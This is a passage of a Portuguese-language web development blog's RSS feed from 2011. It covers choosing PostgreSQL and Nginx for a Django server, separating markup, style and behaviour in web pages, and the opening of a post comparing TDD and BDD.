máquina virtual. Nela, terei o &lt;a href=&quot;http://www.slackware.com/&quot; title=&quot;Slackware, uma das distros Linux mais &quot;&gt;&lt;em&gt;Slackware 13.1&lt;/em&gt;&lt;/a&gt; “básico”, e a partir
daí instalaremos banco de dados e servidor &lt;em&gt;Web&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Não iremos abordar a instalação das distribuições… existem tutoriais
suficientes na Web sobre isto.&lt;/p&gt;
&lt;h3&gt;Banco de Dados: SQLite e PostgreSQL&lt;/h3&gt;
&lt;p&gt;Para o seu ambiente de desenvolvimento, o &lt;a href=&quot;http://www.sqlite.org/&quot; title=&quot;Baixe um dos bancos de dados mais simpáticos da atualidade&quot;&gt;&lt;em&gt;SQLite&lt;/em&gt;&lt;/a&gt; quebra um galho.
Pequeno, leve e suficientemente bom para quando você está desenvolvendo
suas aplicações com &lt;em&gt;Django&lt;/em&gt;. Porém, para ambientes de produção (onde a
demanda pode ser grande), o &lt;em&gt;SQLite&lt;/em&gt; é pouco recomendado… então podemos
escolher (tratando-se de bancos relacionais) entre o &lt;a href=&quot;http://www.mysql.com/&quot; title=&quot;MySQL, o banco de dados mais popular do mundo&quot;&gt;&lt;em&gt;MySQL&lt;/em&gt;&lt;/a&gt; e o
&lt;a href=&quot;http://www.postgresql.org/&quot; title=&quot;PostgreSQL, o banco de dados open source mais avançado do mundo&quot;&gt;&lt;em&gt;PostgreSQL&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Embora eu seja um usuário “fervoroso” do &lt;em&gt;MySQL&lt;/em&gt;, a aquisição dele pela
&lt;em&gt;Oracle&lt;/em&gt; me deixou com a pulga atrás da orelha. Então, vou aproveitar
para aprender um pouco mais sobre &lt;em&gt;PostgreSQL&lt;/em&gt; enquanto escrevo este
tutorial&lt;/p&gt;
&lt;h3&gt;Servidor Web: Nginx&lt;/h3&gt;
&lt;p&gt;Aposto que você achou que iríamos utilizar &lt;em&gt;Apache&lt;/em&gt; :D&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;http://nginx.org/&quot; title=&quot;Um dos servidores Web mais &quot;&gt;&lt;em&gt;Nginx&lt;/em&gt;&lt;/a&gt; é considerado por alguns desenvolvedores o servidor &lt;em&gt;web&lt;/em&gt;
mais robusto da atualidade. &lt;a href=&quot;http://pt.wikipedia.org/wiki/Nginx&quot; title=&quot;Leia mais sobre Nginx na Wikipedia&quot;&gt;Segundo o &lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;, é o quarto
servidor &lt;em&gt;web&lt;/em&gt; mais utilizado no mundo.&lt;/p&gt;
&lt;p&gt;Ótima oportunidade para usá-lo!&lt;/p&gt;
&lt;h3&gt;Python 2.x e Django 1.x.x&lt;/h3&gt;
&lt;p&gt;Até a data desta publicação, o &lt;em&gt;Python (2.x)&lt;/em&gt; estava em sua versão
&lt;a href=&quot;http://www.python.org/getit/&quot; title=&quot;Baixe o Python gratuitamente&quot;&gt;&lt;em&gt;2.7.1 (stable)&lt;/em&gt;&lt;/a&gt; e o &lt;a href=&quot;http://www.djangoproject.com/download/&quot; title=&quot;Baixe o Django gratuitamente&quot;&gt;&lt;em&gt;Django&lt;/em&gt; na 1.2.5 &lt;em&gt;(stable)&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Utilizarei a versão 2.6 do &lt;em&gt;Python&lt;/em&gt; por ser mais facilmente encontrada
nas hospedagens &lt;em&gt;web&lt;/em&gt;. Fique livre para escolher o que for melhor para
você.&lt;/p&gt;
&lt;p&gt;Se você quiser acompanhar a produção destes artigos, &lt;a href=&quot;https://klauslaube.com.br/feed/rss.xml&quot; title=&quot;Leia os posts deste Blog no seu leitor RSS favorito&quot;&gt;assine o &lt;em&gt;RSS&lt;/em&gt;&lt;/a&gt;
ou &lt;a href=&quot;http://www.twitter.com/kplaube&quot; title=&quot;Acompanhe o desenvolvimento deste e de outros posts&quot;&gt;siga-me no &lt;em&gt;Twitter&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até mais…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[As camadas do desenvolvimento Web]]></title><description><![CDATA[Se eu aprendi alguma coisa com o xHTML, foi:
Separar marcação, estilos e comportamento tornam a sua vida muito mais
feliz. Assim como…]]></description><link>https://klauslaube.com.br/2011/02/16/camadas-desenvolvimento-web.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/02/16/camadas-desenvolvimento-web.html</guid><pubDate>Wed, 16 Feb 2011 15:09:00 GMT</pubDate><content:encoded>&lt;p&gt;Se eu aprendi alguma coisa com o &lt;em&gt;xHTML&lt;/em&gt;, foi:
Separar marcação, estilos e comportamento tornam a sua vida muito mais
feliz.&lt;/p&gt;
&lt;p&gt;Assim como tratando-se de &lt;a href=&quot;/tag/acessibilidade.html&quot; title=&quot;Leia mais sobre Acessibilidade&quot;&gt;acessibilidade&lt;/a&gt;, quando falamos em “camadas
de desenvolvimento &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;“, estamos (a grosso modo) falando de
semântica. E nisso, o &lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML5&quot;&gt;&lt;em&gt;HTML5&lt;/em&gt;&lt;/a&gt; vem nos presenteando com &lt;em&gt;tags&lt;/em&gt;
supimpas como a &lt;code class=&quot;language-text&quot;&gt;section&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;article&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vamos conhecer um pouco mais sobre desenvolvimento e padrões &lt;em&gt;web&lt;/em&gt;?&lt;/p&gt;
&lt;h2&gt;Marcação com uma boa dose de semântica&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 180px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/70af7ff066eb915f3c30e8bc6f34bcaf/e9ff0/html-icon.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE60lEQVQ4y32UW2gcVRjHT7Iigi++iAhLffJJ8FF9EBUfLIr4IPhSLeKDhSIU0SDSUm21VtpoEq2bXqy0SUhtatNcirluknaTNLvZy+wtO7PZ+/0+s/fbzJy/Z5O0Ugse+PMN33fmN9+NIStWngDYkViu7lhK6SOSZZWoqkrK1ToxmD3k/I1FYuMj3W5/gsQyRWKw+8jO0bMgg3R1QNF04SCD3iyUqleYhu4rK1WG0vnSUI7ZSCo3vGx0Hz93ff7JDWeAOLZjj0VSIkllS2SZschehpoOsANSKYWiqkwUsqKC4t9DqYq2rMDljcLiDpljxeoz/kSeuPyJbrsQJdMGGyHLu8DuDjBXrJ6TFdp5qdFqKzLzycVKU140xuTbhqiczNVl9gE5lS22fOE0omkpanQHX1x3+AknRLun71hZyRbPA2BGquiaLQV1FbLKEhKCBfr9BSMdWwjSNUeWpvJ1Wii1aKXWRrrUaPGBJO6YPL7+cf3jvaMzZHbd8TAwlSvqGuyhsh2UG6ksRmZ9OH9TQKmhPiibD4rU4s7QtiDQYrmFSKZUWlzj9umNTmL2hLruD2UHmKy0dSmbE9LKXTmWLCOSqmDdnoHDL4EPl1Gty9jgkhgcs9N2KKzG/55HNl8u2CJZrT0hElcw0fVwhg385p1bhle/JJu3JQxe42Dncxi45sbbRxbR8/M6Xv7gKk4OriKfyqjm368ikxJFLlPWunJV4gr8BxhKSufEFsDNLsncqhWnLtvw6wiH/YfG8fSrOjz31kU8+3o/5g08uMlpNZ6UkK0o4j2rW2vZCu4Cl6wewkanacogwWTxl7TYRKZC5azUhC9eweGT83jqpbN4/t0LeOWjKzj/lxUF1rt0SVEzJRnxXE00C2GtRYgQp58Blxmw3oam2gLxJ4oDsWwdoVRFDqVrSOQbcPrzuDLlwIWbHFa5GNJSC6F0ld2pqpFMDdFsTdz0BLVWIUwcHWBnsaUaNMUaiC8u9QdSNdh8eZnz5eEMFSEkagjlWghmGhBYxpxfhCtcgiMoqXZ/AcFkRWQwLbcdJXZffBeYLTFgk2WYqvXZhQTsQlwWIiL0Bgtu3V7E5MwKFu6asbrpgckRgJ71d83sUX3xMvzJqmjaCmgtfJhw2wx418aTeAGaNhtKTMJPM8ubOHm6Vz7Tr8PI2G0M6C5jeGwauksj+PKrYzjxQy+OfnMKZ/oGVVegAF+yLq45vFrTVojYvHvAcJZq6M4eovfPCT0+OfRZ+/CRHvwxOo0+3VWMji/i0vA4XnvjTex/5z188fUJfHr4c3XVGsBWuMR6GNLa/Uli3QFyPCtV0RRVkHCBnp2YN2L0lr7NLL0+tUKHbszSyQUjHZ9Zp8e+66Xfnh6gF4cnaM/RU+qRnuOYXDCJbOW0nbWzemNdZNUuECHe1njjLeIIFH50BCsw8oWmkc8rJkFUTF4moaAYmaz+smINVJRNr6SYt4syuwN7oJg38521iRKLEO8AeeKJNjXCLrDP6pOw7s7g3lb2EXX892Mda2JAzi+1N1y+fUZ3gJg8kS4yt+EgepOva9kcYNb7wtSS5ePJRdOBKf3mh5P/rwMTC6aDk0uW9+fu2Z+YZz+H6TtmQhY27ISPNYgzWGYpp4k30SCRPOtnTiXhPN1Vbs/m93wsFtnzu0IlMrduJTMGMzHYvOQflXHESVFSz8YAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Representação de documentos HTML&amp;quot;&quot;
        title=&quot;Representação de documentos HTML&quot;
        src=&quot;/static/70af7ff066eb915f3c30e8bc6f34bcaf/e9ff0/html-icon.png&quot;
        srcset=&quot;/static/70af7ff066eb915f3c30e8bc6f34bcaf/e9ff0/html-icon.png 180w&quot;
        sizes=&quot;(max-width: 180px) 100vw, 180px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Representação de documentos HTML&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Algumas referências vão chamar esta camada de “marcação”, outras vão direto ao
ponto chamando-a de “informação”. Eu gosto de pensar que é através da marcação
que damos significado a informação.&lt;/p&gt;
&lt;p&gt;Este conceito foi fortemente utilizado no &lt;em&gt;xHTML&lt;/em&gt; (devido ao seu vínculo
com o próprio &lt;em&gt;XML&lt;/em&gt;). Para dar significado a nossa informação através de
hipertexto, utilizamos o &lt;em&gt;HTML&lt;/em&gt; … e nada mais!&lt;/p&gt;
&lt;p&gt;É nesta camada que “diremos” às máquinas que determinada parte da nossa
informação é mais relevante que a outra, que determinado bloco na
verdade é um conjunto de meta-informação ou que o bloco no fim do
arquivo contém informações menos relevantes. Sendo mais minucioso, é
nesta camada que diremos o que é um parágrafo, o que é um título, um
vínculo com outro documento, um trecho de código que mereça ênfase, uma
lista não-ordenada que servirá como menu de navegação, etc.&lt;/p&gt;
&lt;p&gt;Não importando qual o tipo de sistema que interpretará esta informação
(&lt;em&gt;crawlers&lt;/em&gt;, navegadores, leitores de e-mail ou leitores &lt;em&gt;RSS&lt;/em&gt;), eles
sabem (através do padrão &lt;em&gt;HTML&lt;/em&gt;) do que aquela informação se trata e
como eles devem lidar com ela.&lt;/p&gt;
&lt;h2&gt;Embelezando com estilos&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 180px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e4657099d7865d5dabc50c5729d3853c/e9ff0/css-icon.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD5UlEQVQ4y4WV60+bdRTH+XP0lXsh+oZEM15Asr0xBiV7gXESDXPh4hRlgLuoyWaysWUQs5ho3OKCCSQDR8d1sCBQpAi09AL0Qq+0FNpybZ+nlI/n93CRwdRfcvo8aZ/zfb7ne873NG93dxd11PVl8X/n6HPqmnf8y+Mnl8uxs7ODrutkMhm2trZIpVJsb2/v5cnvRuzn5x0FUsnZbBZN04wElby+vk4ymSQejxMMBvH7/Xi8XpaXl41nDUJH2B4CptNpEokEKysrxGIxIpEILpeLmZkZJicn6e/vZ2pqCqfTic1mIxQKoQtg1jHHzoydXU3fY3jATJURDofxytvVdXh4mMHBQUwmE93d3XR0dBj3VquVkZERFhYWCAnj8c4nuJtaWOsZOAmoWLndbgKBAF1dXYyNjuKYnaW1tZW+vj46OzsN1tPT0wSCITra23kyMMC3N27gtEy+qOHGxgbRaNRguLi4iEcY9D97hkVKnpUSPR6PoZ/P58Mt91aLhb8qK5hv+IJ7X9aSFMk4qqFqQFyE9kuCVwAja2vEBDwmiaGlJQKqGQpI2Nm9Psaa75EUsHjJWRy//Iy+V+qRpkhXV6WbXinba7ez2tbGVkUF6yUluMxmvCKDW1g75LdpCdvnVWS+a8R2tojIUvRkl9UbVoRZ4vFjthsbydbVodfXoxUXE71+HZ903if62iUm2tsI13xK8sNS+io+ZnOf3eFg54SZNjRE+vZt9CtX0K9dQ2tqIl1WRqa0lK2CAoLPnxMQULeMi+2bq6S/rsVakI/p4UNye/T2GaqGyDjo9++jtbSgCaB26RL6gwfo0r3toiLS+fkkz50jIFo6JybwC7t09Sf8fvotLE4XujjowG0Gw4TDwVZzM/rdu2jV1WQqK0mXl6PdvEmu8DTaqVNEXnmVRdHO+tOPpOo/w1/8Nq11X+GTyViXkTu0nvrYFp+u3rpFtqGB9MWLBsvc5ctkCgvxvvEmY1VVTMqgexf9OGqqyNbWMPT6a5h6eoyZVe5Sft8DFDGVBvGnT8lcuEBOmKXPnCHw3vuMNjQyIC6ZUeOzmsBuMTPxQy1zle/w6HwZLhnusLglJuOm/P/CYK+J+RPnP8Jf9gETd+7w5/g47liUsBqjhXnxdxyXzUzEfJVfv3+X7t5eg1k4HDJ8rZbJP4ASimVMNFqYmyO6uSnWCuKZnzceVpslkUxhHu7lUVM5po7f8AfC4qwlA1S5TNl3r2TVnf22q5MSh0SFlbKZAlOLIiilKa8PD/9Bl6kHTc8amh1foYeDfbhgJRR1g5Gssk1hqpbqgeBHE1+25U8s2P9a+f/2F3E8/ga6tYwKPO2ZJAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Ícone representando documento CSS&amp;quot;&quot;
        title=&quot;Ícone representando documento CSS&quot;
        src=&quot;/static/e4657099d7865d5dabc50c5729d3853c/e9ff0/css-icon.png&quot;
        srcset=&quot;/static/e4657099d7865d5dabc50c5729d3853c/e9ff0/css-icon.png 180w&quot;
        sizes=&quot;(max-width: 180px) 100vw, 180px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Ícone representando documento CSS&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Antes de fazer minha primeira
aula de &lt;em&gt;Tableless&lt;/em&gt;, eu nem fazia ideia de quão importante são as folhas
de estilos. Você já deve imaginar como eu desenvolvia para a &lt;em&gt;web&lt;/em&gt;:
&lt;em&gt;WYSIWYG&lt;/em&gt; cuspindo tabelas e mais tabelas, com milhares de atributos
“font” e “color” espalhados por dezenas de arquivos.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Um trecho de informação ser da cor verde ou azul irá afetar a
semântica? Salvo exceções… &lt;strong&gt;não.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Um título &lt;code class=&quot;language-text&quot;&gt;h1&lt;/code&gt; ser de tamanho 38px vai afetar a semântica?
&lt;strong&gt;Não.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;A imagem de fundo utilizada no topo deste &lt;em&gt;blog&lt;/em&gt; altera o
siginifcado deste &lt;em&gt;post&lt;/em&gt;? &lt;strong&gt;Não.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Tabelas posicionarem elementos na tela é algo semântico? &lt;strong&gt;Não!&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;O &lt;em&gt;Tableless&lt;/em&gt;, além de defender que as tabelas devem ser usadas apenas
para dados tabulares, prega que a informação deve estar separada da
formatação. Levando em conta que hoje possuímos vários tipos de
navegadores (&lt;em&gt;desktop&lt;/em&gt;, &lt;em&gt;mobile&lt;/em&gt;, &lt;em&gt;embed&lt;/em&gt;, leitores de tela, etc), a
informação deveria ser a mesma para todos os navegadores, mas a
formatação não.&lt;/p&gt;
&lt;p&gt;Com o &lt;a href=&quot;/tag/css3.html&quot; title=&quot;Leia mais sobre CSS3&quot;&gt;&lt;em&gt;CSS&lt;/em&gt;&lt;/a&gt; e as folhas de estilos, aplicar diferentes formatações
para um mesmo conteúdo passou a ser trivial. Antes, quando você tinha a
formatação mesclada a informação, você era obrigado a reescrever a
informação para diferentes formatos.&lt;/p&gt;
&lt;p&gt;Outro exemplo, meu leitor &lt;a href=&quot;/2010/11/12/o-que-e-rss.html&quot; title=&quot;O que é RSS?&quot;&gt;&lt;em&gt;RSS&lt;/em&gt;&lt;/a&gt; não utiliza a formatação que eu
escrevi para o meu &lt;em&gt;site&lt;/em&gt; … ele utiliza uma formatação própria. Estamos
permitindo que nossa informação seja propagada em uma espécie de
“acoplamento fraco”. Para o pessoal que curte uma &lt;em&gt;buzzword&lt;/em&gt;, essa é a
premissa da &lt;em&gt;Web 3.0&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Interação e comportamento&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 180px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/315d5f80084b2ad72c5d0935e67e726c/e9ff0/js-icon.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEGUlEQVQ4y32Vf0yUdRzHz1hzCa1SIsgWba7VAJ2jVS6WjfTi1x0cB1eNVNBpstVm/7Razc3azLk0NqU5MFPDlPFDNprC0EAgCbmA85AH7if383nunvvxHNx5gNz3efc9Bidm3Gd77/l+P5/P8/p+vp/v80MiWbKqqqqonqDDZKrn/0fL/vXR/J1S6RpJHFsOpr6cnm5RqVS+UqXSrVQq+ZUqKy93Z23NDtC8z6PJWZs3JzxGejPnuZXTZ/fs2T2HRSNU4pLIomd2/gG61VpU7K4Ezf1sEZqV9Sh0yxvPSF7NSHpSIkl6nU6lefmKUDAMhGdBZudA5udBFhZARBEkPDtHBsd0kbkFEdUHD8agGZmZj1Wa8sqmdc5d+zfh26NyclN9Gj3Dp8WBe/UY0V/CXdN5ODwMaIHi6IQRHmGGRGjplXv3xaDb38t9pKcvvCtNdhm9JzFuPUUYy1lxytUKveMyRg0n0ac9BI3hKmi1MFjtIst7wHr8xBUI4cOKXVjuaWJiUgyakr0tyXGu9W380vw+GRo7g0HNzyJjasO5llycasjEgKYJYdpds4Olfpt4RzuJ/pHxSOftYWRs2eqnjA0rK0x9LXPtzBeHn8LRmmxS31AhHq99BxebDuDL75Nx6PBadPX/hmCYwCsI8PgDIu8LiBzvJd7pEEqUZWx0lyuB69clJrQnPS0Zyc3btnDl2hW0dDSLbV1NuHH7BnqHejBu1IP3B6lmwPsEeg3A7fMTIRRGsaKUi+4yRnsrJ3ZIyWWqiqBwP0JvuC/yQhgu3zRVkPYsgCnWginnFOwuDxUPG8cTPhCEvETB/bfC5WamlZaXh2xuL/S0+UY7B6srCJPDDQsroK37U/w91gjOC+pjYbA5CEsXjAdMVZSpQlOcB0aHX9TbOFzr/QGD2k4wZhN+vboDfw6eQddALaIxg91HbLwPsnhA2uCQxTWNnqEmsa7xA9Q15kCjG0H3nd9xvlWJYeYv1DduRzR2a6iV2D0hFMqLVwcWl5aGLO4wLrRUit8cT0BnXx1M7CwutO5D0/WvYGbncf1WLb4+JkFDWzWxex+gQCaLBywL6exuaPQ6sf3mCRw5sREdfRdRc3YH+oe70Nl/Cd/9lI4/umswqtMRA+tFQbwK5RTIWDn6ZthExipQsB5tXbU48mMW9VkwOKbGP4wWjDWAUb2VTNIDy5fFARYplDNasxPqCVNkiNERrclLOnqbSWP7MaIxcmRYZ6WyEfWEgagZY2ScLp5XJGdXfWzkStXcpNMLjckBrZnFXbMd9yxuMHY/HTuXFI05aY4dek6gW1Z4VgOmpG18yZInK/ZJC2RuaaGMX1RBEb+zoJCPzR/63fnyEiE17cXxpa/5Q1OoPpaUlH8U7xcQTxsqD1Sv+WTvfsm/qRr2fF3NJLcAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Ícone representando documento Javascript&amp;quot;&quot;
        title=&quot;Ícone representando documento Javascript&quot;
        src=&quot;/static/315d5f80084b2ad72c5d0935e67e726c/e9ff0/js-icon.png&quot;
        srcset=&quot;/static/315d5f80084b2ad72c5d0935e67e726c/e9ff0/js-icon.png 180w&quot;
        sizes=&quot;(max-width: 180px) 100vw, 180px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Ícone representando documento Javascript&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt; é interpretado pelo navegador. Com ele, nossas aplicações &lt;em&gt;web&lt;/em&gt; podem
fazer com que o navegador tenha um comportamento (ou interaja com os
elementos) de uma maneira diferente da usual.&lt;/p&gt;
&lt;p&gt;Por exemplo, podemos fazer uma página inteira ser aberta de forma
assíncrona através de &lt;em&gt;Ajax&lt;/em&gt;, ou podemos fazer com que nossos
formulários sejam validados antes mesmo da informação ser enviada ao
servidor. Você pode notar que fazemos com que o navegador interaja com
nossa informação de uma forma “fora do padrão”… já ouvi pessoas chamando
esta camada de “interação”, outras de “comportamento”. Na minha opinião,
a última opção faz mais sentido.&lt;/p&gt;
&lt;p&gt;Os seus &lt;em&gt;scripts&lt;/em&gt;, assim como os seus estilos, não devem estar
“mesclados” com a informação. Pense comigo, se a informação pode ser
acessada por leitores &lt;em&gt;RSS&lt;/em&gt;, é bem provável que eles não entendam
&lt;em&gt;Javascript&lt;/em&gt; (ou que não entendam na plenitude de um navegador Web).
Certo?&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Mas afinal de contas, como separo as camadas de desenvolvimento? Muito
simples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Informação deve ser sempre acessível, indiferente do estilo ou
comportamento da sua aplicação (ou seja, só &lt;em&gt;HTML&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Qualquer espécie de formato que você irá aplicar deve estar contido
em folhas de estilo &lt;em&gt;CSS&lt;/em&gt; (ou seja, fontes, tamanhos, cores)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Javascript&lt;/em&gt; não devem estar misturados com &lt;em&gt;HTML&lt;/em&gt;! Nem mesmo em
atributos como &lt;em&gt;onClick&lt;/em&gt; (com a &lt;em&gt;jQuery&lt;/em&gt; isso se torna muito fácil)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sei muito bem que na prática a coisa pode não ser bem assim. Os
navegadores estão preparados para lidar com esse tipo de situação, mas
não caia nessa! Separar o seu desenvolvimento em camadas só faz bem para
você, para o seu cliente e para a sociedade.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[BDD: Desenvolvimento Orientado a Comportamento]]></title><description><![CDATA[Esse post foi originalmente escrito para o Profissionais TI, você
pode conferi-lo na íntegra aqui. No post anterior, introduzi o conceito de…]]></description><link>https://klauslaube.com.br/2011/02/02/bdd-desenvolvimento-orientado-comportamento.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/02/02/bdd-desenvolvimento-orientado-comportamento.html</guid><pubDate>Wed, 02 Feb 2011 11:48:00 GMT</pubDate><content:encoded>&lt;p&gt;Esse post foi originalmente escrito para o &lt;a href=&quot;http://www.profissionaisti.com.br/&quot; title=&quot;Artigos sobre Tecnologia da Informação&quot;&gt;&lt;em&gt;Profissionais TI&lt;/em&gt;&lt;/a&gt;, você
pode conferi-lo na &lt;a href=&quot;http://www.profissionaisti.com.br/2010/01/bdd-desenvolvimento-orientado-a-comportamento/&quot; title=&quot;BDD: Desenvolvimento Orientado a Comportamento&quot;&gt;íntegra aqui&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;No &lt;a href=&quot;/2011/01/27/tdd-desenvolvimento-orientado-testes.html&quot; title=&quot;TDD: Desenvolvimento Orientado a Testes&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt;, introduzi o conceito de &lt;a href=&quot;/tag/tdd.html&quot;&gt;&lt;em&gt;TDD&lt;/em&gt;&lt;/a&gt;. Mas para
relembrar, utilizando a prática “baby steps” temos os seguintes
procedimentos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Escreva um teste que falhe;&lt;/li&gt;
&lt;li&gt;Escreva um código (rudimentar) para o teste;&lt;/li&gt;
&lt;li&gt;Faça o teste passar;&lt;/li&gt;
&lt;li&gt;Deixe o código “cheirando bem” (&lt;em&gt;refactoring&lt;/em&gt;);&lt;/li&gt;
&lt;li&gt;Volte para o primeiro procedimento.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;O &lt;em&gt;TDD&lt;/em&gt; é focado em testes unitários, onde você isola um modelo (por
exemplo) e monta-o de acordo com os testes que você escrever. Quando
você tiver um determinado número de modelos, aí você testa a integração
entre eles, e assim por diante.&lt;/p&gt;
&lt;p&gt;Fazendo uma analogia, isso é mais ou menos como construir o &lt;em&gt;software&lt;/em&gt;
&lt;strong&gt;“de dentro para fora”&lt;/strong&gt;, onde partimos escrevendo testes específicos
(unitários) e depois vamos abrangendo outras regiões do sistema
(integração, funcional, aceitação, etc). Já em &lt;em&gt;BDD&lt;/em&gt; (&lt;em&gt;Behavior-Driven
Development&lt;/em&gt;) podemos dizer que o &lt;em&gt;software&lt;/em&gt; é desenvolvido &lt;strong&gt;“de fora
para dentro”&lt;/strong&gt;, onde os testes são construídos baseados nos requisitos
do cliente ou em um roteiro de aceitação (também conhecidos por
estórias).&lt;/p&gt;
&lt;p&gt;Esta prática é semelhante ao &lt;em&gt;TDD&lt;/em&gt;: &lt;strong&gt;testes são escritos primeiro,
funções depois&lt;/strong&gt;; O diferencial está que &lt;em&gt;BDD&lt;/em&gt; aborda o
&lt;strong&gt;comportamento&lt;/strong&gt; e o resultado como um todo, não preocupando-se
necessariamente com as classes, métodos e atributos de forma isolada.&lt;/p&gt;
&lt;h2&gt;Mas então qual usar? TDD ou BDD?&lt;/h2&gt;
&lt;p&gt;Essa era a minha dúvida. E demorou até cair a ficha&lt;/p&gt;
&lt;p&gt;Depois de uma boa conversa com o &lt;a href=&quot;http://twitter.com/andrewsmedina&quot; title=&quot;Siga o Andrews no Twitter.&quot;&gt;&lt;em&gt;@andrewsmedina&lt;/em&gt;&lt;/a&gt; (hoje já faz um
tempo que esta conversa aconteceu (: ), captei que pode-se utilizar os
dois! Claro! Garanta que a aplicação está indo de acordo com o teste de
aceitação escrito, e garanta que a escrita de determinada classe esteja
de acordo com os testes unitários criados.&lt;/p&gt;
&lt;p&gt;Geralmente trabalho com testes automatizados da seguinte maneira:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Escrevo estórias para determinada tarefa;&lt;/li&gt;
